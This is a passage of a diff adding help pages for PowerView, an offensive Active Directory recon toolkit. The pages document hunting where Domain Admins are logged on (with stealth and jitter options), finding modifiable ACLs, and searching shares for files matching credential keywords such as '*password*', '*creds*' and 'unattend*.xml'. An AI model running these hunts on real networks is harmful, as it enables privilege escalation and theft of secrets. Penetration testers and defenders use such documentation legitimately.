+Position: Named +Default value: Subtree +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ResultPageSize +Specifies the PageSize to set for the LDAP searcher object. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 200 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ServerTimeLimit +Specifies the maximum amount of time the server spends searching. +Default of 120 seconds. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 0 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Tombstone +Switch. +Specifies that the searcher should also return deleted/tombstoned objects. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +for connection to the target computer(s). + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -StopOnSuccess +Switch. +Stop hunting after finding after finding a target user. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Delay +Specifies the delay (in seconds) between enumerating hosts, defaults to 0. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 0 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Jitter +Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3 + +```yaml +Type: Double +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 0.3 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Threads +The number of threads to use for user searching, defaults to 20. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 20 +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### PowerView.LogonEvent + +PowerView.ExplicitCredentialLogon + +## NOTES + +## RELATED LINKS + +[http://www.sixdub.net/2014/11/07/offensive-event-parsing-bringing-home-trophies/](http://www.sixdub.net/2014/11/07/offensive-event-parsing-bringing-home-trophies/) + diff --git a/docs/Recon/Find-DomainUserLocation.md b/docs/Recon/Find-DomainUserLocation.md new file mode 100755 index 00000000..0d200aa5 --- /dev/null +++ b/docs/Recon/Find-DomainUserLocation.md @@ -0,0 +1,579 @@ +# Find-DomainUserLocation + +## SYNOPSIS +Finds domain machines where specific users are logged into. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainFileServer, Get-DomainDFSShare, Get-DomainController, Get-DomainComputer, Get-DomainUser, Get-DomainGroupMember, Invoke-UserImpersonation, Invoke-RevertToSelf, Get-NetSession, Test-AdminAccess, Get-NetLoggedon, Resolve-IPAddress, New-ThreadedFunction + +## SYNTAX + +### UserGroupIdentity (Default) +``` +Find-DomainUserLocation [[-ComputerName] ] [-Domain ] [-ComputerDomain ] + [-ComputerLDAPFilter ] [-ComputerSearchBase ] [-ComputerUnconstrained] + [-ComputerOperatingSystem ] [-ComputerServicePack ] [-ComputerSiteName ] + [-UserDomain ] [-UserLDAPFilter ] [-UserSearchBase ] [-UserGroupIdentity ] + [-UserAdminCount] [-UserAllowDelegation] [-CheckAccess] [-Server ] [-SearchScope ] + [-ResultPageSize ] [-ServerTimeLimit ] [-Tombstone] [-Credential ] + [-StopOnSuccess] [-Delay ] [-Jitter ] [-Stealth] [-StealthSource ] [-Threads ] +``` + +### UserIdentity +``` +Find-DomainUserLocation [[-ComputerName] ] [-Domain ] [-ComputerDomain ] + [-ComputerLDAPFilter ] [-ComputerSearchBase ] [-ComputerUnconstrained] + [-ComputerOperatingSystem ] [-ComputerServicePack ] [-ComputerSiteName ] + [-UserIdentity ] [-UserDomain ] [-UserLDAPFilter ] [-UserSearchBase ] + [-UserAdminCount] [-UserAllowDelegation] [-CheckAccess] [-Server ] [-SearchScope ] + [-ResultPageSize ] [-ServerTimeLimit ] [-Tombstone] [-Credential ] + [-StopOnSuccess] [-Delay ] [-Jitter ] [-Stealth] [-StealthSource ] [-Threads ] +``` + +### ShowAll +``` +Find-DomainUserLocation [[-ComputerName] ] [-Domain ] [-ComputerDomain ] + [-ComputerLDAPFilter ] [-ComputerSearchBase ] [-ComputerUnconstrained] + [-ComputerOperatingSystem ] [-ComputerServicePack ] [-ComputerSiteName ] + [-UserDomain ] [-UserLDAPFilter ] [-UserSearchBase ] [-UserAdminCount] + [-UserAllowDelegation] [-CheckAccess] [-Server ] [-SearchScope ] [-ResultPageSize ] + [-ServerTimeLimit ] [-Tombstone] [-Credential ] [-StopOnSuccess] [-Delay ] + [-Jitter ] [-ShowAll] [-Stealth] [-StealthSource ] [-Threads ] +``` + +## DESCRIPTION +This function enumerates all machines on the current (or specified) domain +using Get-DomainComputer, and queries the domain for users of a specified group +(default 'Domain Admins') with Get-DomainGroupMember. +Then for each server the +function enumerates any active user sessions with Get-NetSession/Get-NetLoggedon +The found user list is compared against the target list, and any matches are +displayed. +If -ShowAll is specified, all results are displayed instead of +the filtered set. +If -Stealth is specified, then likely highly-trafficed servers +are enumerated with Get-DomainFileServer/Get-DomainController, and session +enumeration is executed only against those servers. +If -Credential is passed, +then Invoke-UserImpersonation is used to impersonate the specified user +before enumeration, reverting after with Invoke-RevertToSelf. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Find-DomainUserLocation +``` + +Searches for 'Domain Admins' by enumerating every computer in the domain. + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Find-DomainUserLocation -Stealth -ShowAll +``` + +Enumerates likely highly-trafficked servers, performs just session enumeration +against each, and outputs all results. + +### -------------------------- EXAMPLE 3 -------------------------- +``` +Find-DomainUserLocation -UserAdminCount -ComputerOperatingSystem 'Windows 7*' -Domain dev.testlab.local +``` + +Enumerates Windows 7 computers in dev.testlab.local and returns user results for privileged +users in dev.testlab.local. + +### -------------------------- EXAMPLE 4 -------------------------- +``` +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +``` + +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Find-DomainUserLocation -Domain testlab.local -Credential $Cred + +Searches for domain admin locations in the testlab.local using the specified alternate credentials. + +## PARAMETERS + +### -ComputerName +Specifies an array of one or more hosts to enumerate, passable on the pipeline. +If -ComputerName is not passed, the default behavior is to enumerate all machines +in the domain returned by Get-DomainComputer. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: DNSHostName + +Required: False +Position: 1 +Default value: None +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -Domain +Specifies the domain to query for computers AND users, defaults to the current domain. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ComputerDomain +Specifies the domain to query for computers, defaults to the current domain. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ComputerLDAPFilter +Specifies an LDAP query string that is used to search for computer objects. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ComputerSearchBase +Specifies the LDAP source to search through for computers, +e.g. +"LDAP://OU=secret,DC=testlab,DC=local". +Useful for OU queries. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ComputerUnconstrained +Switch. +Search computer objects that have unconstrained delegation. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: Unconstrained + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ComputerOperatingSystem +Search computers with a specific operating system, wildcards accepted. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: OperatingSystem + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ComputerServicePack +Search computers with a specific service pack, wildcards accepted. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: ServicePack + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ComputerSiteName +Search computers in the specific AD Site name, wildcards accepted. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: SiteName + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -UserIdentity +Specifies one or more user identities to search for. + +```yaml +Type: String[] +Parameter Sets: UserIdentity +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -UserDomain +Specifies the domain to query for users to search for, defaults to the current domain. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -UserLDAPFilter +Specifies an LDAP query string that is used to search for target users. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -UserSearchBase +Specifies the LDAP source to search through for target users. +e.g. +"LDAP://OU=secret,DC=testlab,DC=local". +Useful for OU queries. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -UserGroupIdentity +Specifies a group identity to query for target users, defaults to 'Domain Admins. +If any other user specifications are set, then UserGroupIdentity is ignored. + +```yaml +Type: String[] +Parameter Sets: UserGroupIdentity +Aliases: GroupName, Group + +Required: False +Position: Named +Default value: Domain Admins +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -UserAdminCount +Switch. +Search for users users with '(adminCount=1)' (meaning are/were privileged). + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: AdminCount + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -UserAllowDelegation +Switch. +Search for user accounts that are not marked as 'sensitive and not allowed for delegation'. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: AllowDelegation + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -CheckAccess +Switch. +Check if the current user has local admin access to computers where target users are found. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Server +Specifies an Active Directory server (domain controller) to bind to. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: DomainController + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SearchScope +Specifies the scope to search under for computers, Base/OneLevel/Subtree (default of Subtree). + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: Subtree +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ResultPageSize +Specifies the PageSize to set for the LDAP searcher object. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 200 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ServerTimeLimit +Specifies the maximum amount of time the server spends searching. +Default of 120 seconds. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 0 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Tombstone +Switch. +Specifies that the searcher should also return deleted/tombstoned objects. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +for connection to the target domain and target systems. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -StopOnSuccess +Switch. +Stop hunting after finding after finding a target user. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Delay +Specifies the delay (in seconds) between enumerating hosts, defaults to 0. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 0 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Jitter +Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3 + +```yaml +Type: Double +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 0.3 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ShowAll +Switch. +Return all user location results instead of filtering based on target +specifications. + +```yaml +Type: SwitchParameter +Parameter Sets: ShowAll +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Stealth +Switch. +Only enumerate sessions from connonly used target servers. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -StealthSource +The source of target servers to use, 'DFS' (distributed file servers), +'DC' (domain controllers), 'File' (file servers), or 'All' (the default). + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: All +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Threads +The number of threads to use for user searching, defaults to 20. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 20 +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### PowerView.UserLocation + +## NOTES + +## RELATED LINKS + diff --git a/docs/Recon/Find-InterestingDomainAcl.md b/docs/Recon/Find-InterestingDomainAcl.md new file mode 100755 index 00000000..eeda73a7 --- /dev/null +++ b/docs/Recon/Find-InterestingDomainAcl.md @@ -0,0 +1,239 @@ +# Find-InterestingDomainAcl + +## SYNOPSIS +Finds object ACLs in the current (or specified) domain with modification +rights set to non-built in objects. + +Thanks Sean Metcalf (@pyrotek3) for the idea and guidance. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainObjectAcl, Get-DomainObject, Convert-ADName + +## SYNTAX + +``` +Find-InterestingDomainAcl [[-Domain] ] [-ResolveGUIDs] [-RightsFilter ] [-LDAPFilter ] + [-SearchBase ] [-Server ] [-SearchScope ] [-ResultPageSize ] + [-ServerTimeLimit ] [-Tombstone] [-Credential ] +``` + +## DESCRIPTION +This function enumerates the ACLs for every object in the domain with Get-DomainObjectAcl, +and for each returned ACE entry it checks if principal security identifier +is *-1000 (meaning the account is not built in), and also checks if the rights for +the ACE mean the object can be modified by the principal. +If these conditions are met, +then the security identifier SID is translated, the domain object is retrieved, and +additional IdentityReference* information is appended to the output object. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Find-InterestingDomainAcl +``` + +Finds interesting object ACLS in the current domain. + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Find-InterestingDomainAcl -Domain dev.testlab.local -ResolveGUIDs +``` + +Finds interesting object ACLS in the ev.testlab.local domain and +resolves rights GUIDs to display names. + +### -------------------------- EXAMPLE 3 -------------------------- +``` +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +``` + +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Find-InterestingDomainAcl -Credential $Cred -ResolveGUIDs + +## PARAMETERS + +### -Domain +Specifies the domain to use for the query, defaults to the current domain. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: DomainName, Name + +Required: False +Position: 1 +Default value: None +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -ResolveGUIDs +Switch. +Resolve GUIDs to their display names. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -RightsFilter +{{Fill RightsFilter Description}} + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -LDAPFilter +Specifies an LDAP query string that is used to filter Active Directory objects. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: Filter + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SearchBase +The LDAP source to search through, e.g. +"LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: ADSPath + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Server +Specifies an Active Directory server (domain controller) to bind to. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: DomainController + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SearchScope +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: Subtree +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ResultPageSize +Specifies the PageSize to set for the LDAP searcher object. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 200 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ServerTimeLimit +Specifies the maximum amount of time the server spends searching. +Default of 120 seconds. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 0 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Tombstone +Switch. +Specifies that the searcher should also return deleted/tombstoned objects. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +for connection to the target domain. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### PowerView.ACL + +Custom PSObject with ACL entries. + +## NOTES + +## RELATED LINKS + diff --git a/docs/Recon/Find-InterestingDomainShareFile.md b/docs/Recon/Find-InterestingDomainShareFile.md new file mode 100755 index 00000000..511510fa --- /dev/null +++ b/docs/Recon/Find-InterestingDomainShareFile.md @@ -0,0 +1,463 @@ +# Find-InterestingDomainShareFile + +## SYNOPSIS +Searches for files matching specific criteria on readable shares +in the domain. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainComputer, Invoke-UserImpersonation, Invoke-RevertToSelf, Get-NetShare, Find-InterestingFile, New-ThreadedFunction + +## SYNTAX + +### FileSpecification (Default) +``` +Find-InterestingDomainShareFile [[-ComputerName] ] [-ComputerDomain ] + [-ComputerLDAPFilter ] [-ComputerSearchBase ] [-ComputerOperatingSystem ] + [-ComputerServicePack ] [-ComputerSiteName ] [-Include ] [-SharePath ] + [-ExcludedShares ] [-LastAccessTime ] [-LastWriteTime ] + [-CreationTime ] [-Server ] [-SearchScope ] [-ResultPageSize ] + [-ServerTimeLimit ] [-Tombstone] [-Credential ] [-Delay ] [-Jitter ] + [-Threads ] +``` + +### OfficeDocs +``` +Find-InterestingDomainShareFile [[-ComputerName] ] [-ComputerDomain ] + [-ComputerLDAPFilter ] [-ComputerSearchBase ] [-ComputerOperatingSystem ] + [-ComputerServicePack ] [-ComputerSiteName ] [-SharePath ] + [-ExcludedShares ] [-OfficeDocs] [-Server ] [-SearchScope ] + [-ResultPageSize ] [-ServerTimeLimit ] [-Tombstone] [-Credential ] + [-Delay ] [-Jitter ] [-Threads ] +``` + +### FreshEXEs +``` +Find-InterestingDomainShareFile [[-ComputerName] ] [-ComputerDomain ] + [-ComputerLDAPFilter ] [-ComputerSearchBase ] [-ComputerOperatingSystem ] + [-ComputerServicePack ] [-ComputerSiteName ] [-SharePath ] + [-ExcludedShares ] [-FreshEXEs] [-Server ] [-SearchScope ] [-ResultPageSize ] + [-ServerTimeLimit ] [-Tombstone] [-Credential ] [-Delay ] [-Jitter ] + [-Threads ] +``` + +## DESCRIPTION +This function enumerates all machines on the current (or specified) domain +using Get-DomainComputer, and enumerates the available shares for each +machine with Get-NetShare. +It will then use Find-InterestingFile on each +readhable share, searching for files marching specific criteria. +If -Credential +is passed, then Invoke-UserImpersonation is used to impersonate the specified +user before enumeration, reverting after with Invoke-RevertToSelf. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Find-InterestingDomainShareFile +``` + +Finds 'interesting' files on the current domain. + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Find-InterestingDomainShareFile -ComputerName @('windows1.testlab.local','windows2.testlab.local') +``` + +Finds 'interesting' files on readable shares on the specified systems. + +### -------------------------- EXAMPLE 3 -------------------------- +``` +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +``` + +$Cred = New-Object System.Management.Automation.PSCredential('DEV\dfm.a', $SecPassword) +Find-DomainShare -Domain testlab.local -Credential $Cred + +Searches interesting files in the testlab.local domain using the specified alternate credentials. + +## PARAMETERS + +### -ComputerName +Specifies an array of one or more hosts to enumerate, passable on the pipeline. +If -ComputerName is not passed, the default behavior is to enumerate all machines +in the domain returned by Get-DomainComputer. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: DNSHostName + +Required: False +Position: 1 +Default value: None +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -ComputerDomain +Specifies the domain to query for computers, defaults to the current domain. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ComputerLDAPFilter +Specifies an LDAP query string that is used to search for computer objects. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ComputerSearchBase +Specifies the LDAP source to search through for computers, +e.g. +"LDAP://OU=secret,DC=testlab,DC=local". +Useful for OU queries. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ComputerOperatingSystem +Search computers with a specific operating system, wildcards accepted. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: OperatingSystem + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ComputerServicePack +Search computers with a specific service pack, wildcards accepted. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: ServicePack + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ComputerSiteName +Search computers in the specific AD Site name, wildcards accepted. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: SiteName + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Include +Only return files/folders that match the specified array of strings, +i.e. +@(*.doc*, *.xls*, *.ppt*) + +```yaml +Type: String[] +Parameter Sets: FileSpecification +Aliases: SearchTerms, Terms + +Required: False +Position: Named +Default value: @('*password*', '*sensitive*', '*admin*', '*login*', '*secret*', 'unattend*.xml', '*.vmdk', '*creds*', '*credential*', '*.config') +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SharePath +Specifies one or more specific share paths to search, in the form \\\\COMPUTER\Share + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: Share + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ExcludedShares +Specifies share paths to exclude, default of C$, Admin$, Print$, IPC$. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: @('C$', 'Admin$', 'Print$', 'IPC$') +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -LastAccessTime +Only return files with a LastAccessTime greater than this date value. + +```yaml +Type: DateTime +Parameter Sets: FileSpecification +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -LastWriteTime +Only return files with a LastWriteTime greater than this date value. + +```yaml +Type: DateTime +Parameter Sets: FileSpecification +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -CreationTime +Only return files with a CreationTime greater than this date value. + +```yaml +Type: DateTime +Parameter Sets: FileSpecification +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -OfficeDocs +Switch. +Search for office documents (*.doc*, *.xls*, *.ppt*) + +```yaml +Type: SwitchParameter +Parameter Sets: OfficeDocs +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -FreshEXEs +Switch. +Find .EXEs accessed within the last 7 days. + +```yaml +Type: SwitchParameter +Parameter Sets: FreshEXEs +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Server +Specifies an Active Directory server (domain controller) to bind to. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: DomainController + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SearchScope +Specifies the scope to search under for computers, Base/OneLevel/Subtree (default of Subtree). + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: Subtree +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ResultPageSize +Specifies the PageSize to set for the LDAP searcher object. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 200 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ServerTimeLimit +Specifies the maximum amount of time the server spends searching. +Default of 120 seconds. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 0 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Tombstone +Switch. +Specifies that the searcher should also return deleted/tombstoned objects. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +for connection to the target domain and target systems. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Delay +Specifies the delay (in seconds) between enumerating hosts, defaults to 0. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 0 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Jitter +Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3 + +```yaml +Type: Double +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 0.3 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Threads +The number of threads to use for user searching, defaults to 20. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 20 +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### PowerView.FoundFile + +## NOTES + +## RELATED LINKS + diff --git a/docs/Recon/Find-InterestingFile.md b/docs/Recon/Find-InterestingFile.md new file mode 100755 index 00000000..2fe6abfc --- /dev/null +++ b/docs/Recon/Find-InterestingFile.md @@ -0,0 +1,248 @@ +# Find-InterestingFile + +## SYNOPSIS +Searches for files on the given path that match a series of specified criteria. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Add-RemoteConnection, Remove-RemoteConnection + +## SYNTAX + +### FileSpecification (Default) +``` +Find-InterestingFile [[-Path] ] [-Include ] [-LastAccessTime ] + [-LastWriteTime ] [-CreationTime ] [-ExcludeFolders] [-ExcludeHidden] [-CheckWriteAccess] + [-Credential ] +``` + +### OfficeDocs +``` +Find-InterestingFile [[-Path] ] [-OfficeDocs] [-CheckWriteAccess] [-Credential ] +``` + +### FreshEXEs +``` +Find-InterestingFile [[-Path] ] [-FreshEXEs] [-CheckWriteAccess] [-Credential ] +``` + +## DESCRIPTION +This function recursively searches a given UNC path for files with +specific keywords in the name (default of pass, sensitive, secret, admin, +login and unattend*.xml). +By default, hidden files/folders are included +in search results. +If -Credential is passed, Add-RemoteConnection/Remove-RemoteConnection +is used to temporarily map the remote share. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Find-InterestingFile -Path "C:\Backup\" +``` + +Returns any files on the local path C:\Backup\ that have the default +search term set in the title. + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Find-InterestingFile -Path "\\WINDOWS7\Users\" -LastAccessTime (Get-Date).AddDays(-7) +``` + +Returns any files on the remote path \\\\WINDOWS7\Users\ that have the default +search term set in the title and were accessed within the last week. + +### -------------------------- EXAMPLE 3 -------------------------- +``` +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +``` + +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Find-InterestingFile -Credential $Cred -Path "\\\\PRIMARY.testlab.local\C$\Temp\" + +## PARAMETERS + +### -Path +UNC/local path to recursively search. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: + +Required: False +Position: 1 +Default value: .\ +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -Include +Only return files/folders that match the specified array of strings, +i.e. +@(*.doc*, *.xls*, *.ppt*) + +```yaml +Type: String[] +Parameter Sets: FileSpecification +Aliases: SearchTerms, Terms + +Required: False +Position: Named +Default value: @('*password*', '*sensitive*', '*admin*', 